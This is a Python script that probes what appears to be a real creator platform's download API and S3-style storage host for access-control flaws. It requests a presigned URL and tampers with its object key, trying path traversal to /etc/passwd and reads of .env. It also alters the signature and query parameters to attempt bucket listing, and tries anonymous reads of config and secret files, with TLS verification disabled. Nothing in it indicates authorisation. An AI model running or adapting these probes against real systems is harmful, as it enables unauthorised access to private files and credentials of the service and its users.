import json, urllib.request, urllib.parse, ssl, sys

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

BASE = "https://www.fansky.net/api/v1/creator/test-download-url"

def post(body):
    req = urllib.request.Request(BASE, data=json.dumps(body).encode(), method="POST",
                                 headers={"Content-Type":"application/json","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36","Accept":"application/json"})
    r = urllib.request.urlopen(req, context=ctx, timeout=25)
    return json.loads(r.read().decode())

def get(url, method="HEAD"):
    req = urllib.request.Request(url, method=method, headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"})
    try:
        r = urllib.request.urlopen(req, context=ctx, timeout=30)
        return r.status, dict(r.headers), r.read(200)
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read(400)
    except Exception as e:
        return None, {}, str(e)[:300]

# 1) fresh presigned url
d = post({})
url = d["data"]["url"]
print("FRESH URL:", url, "\n")
u = urllib.parse.urlsplit(url)
q = dict(urllib.parse.parse_qsl(u.query))
print("path:", u.path, "| bucket/object parsed:", u.path.lstrip("/").split("/"))
print("query keys:", sorted(q.keys()), "\n")

# 2) baseline HEAD
st, hd, bd = get(url, "HEAD")
print("[baseline HEAD]", st, hd.get("Content-Length"), hd.get("Content-Type"))
print()

# 3) tamper object key
def rebuild_path(newpath):
    return urllib.parse.urlunsplit((u.scheme, u.netloc, newpath, u.query, u.fragment))

tests = {
  "test-file2": "test-file2",
  "test-file/": "test-file/",
  "index.html": "index.html",
  ".env": ".env",
  "test-file%2F..%2F..%2F..%2Fetc%2Fpasswd": "test-file/../../../etc/passwd",
}
for label, newpath in tests.items():
    nu = rebuild_path(newpath)
    st, hd, bd = get(nu, "GET")
    print(f"[tamper key -> {label}] HTTP {st} | {bd[:160].decode('utf-8','replace')}")
print()

# 4) tamper x-id / add list params on the *presigned* url
def rebuild_query(newquery_dict):
    return urllib.parse.urlunsplit((u.scheme, u.netloc, u.path, urllib.parse.urlencode(newquery_dict), u.fragment))

q2 = dict(q); q2["x-id"] = "ListObjectsV2"
nu = rebuild_query(q2); st,hd,bd = get(nu,"GET")
print("[presigned x-id=ListObjectsV2]", st, "|", bd[:200].decode('utf-8','replace'))

q2 = dict(q); q2["list-type"]="2"
nu = rebuild_query(q2); st,hd,bd = get(nu,"GET")
print("[presigned +list-type=2]", st, "|", bd[:200].decode('utf-8','replace'))

# remove signature (unsigned)
q2 = dict(q); del q2["X-Amz-Signature"]
nu = rebuild_query(q2); st,hd,bd = get(nu,"GET")
print("[presigned no-signature]", st, "|", bd[:200].decode('utf-8','replace'))
print()

# 5) anonymous bucket listing & reads
host = "https://s3.fsk-download.com:8443/files.fansky.co"
for path in ["", "/", "?list-type=2", "?prefix="]:
    nu = host + path
    st,hd,bd = get(nu,"GET")
    print(f"[anon GET {path!r}]", st, "|", bd[:200].decode('utf-8','replace'))
for key in ["test-file", "index.html", ".env", "config.json", "package.json", "README.md", "favicon.ico"]:
    nu = host + "/" + key
    st,hd,bd = get(nu,"GET")
    print(f"[anon key {key}]", st, "|", bd[:120].decode('utf-8','replace'))
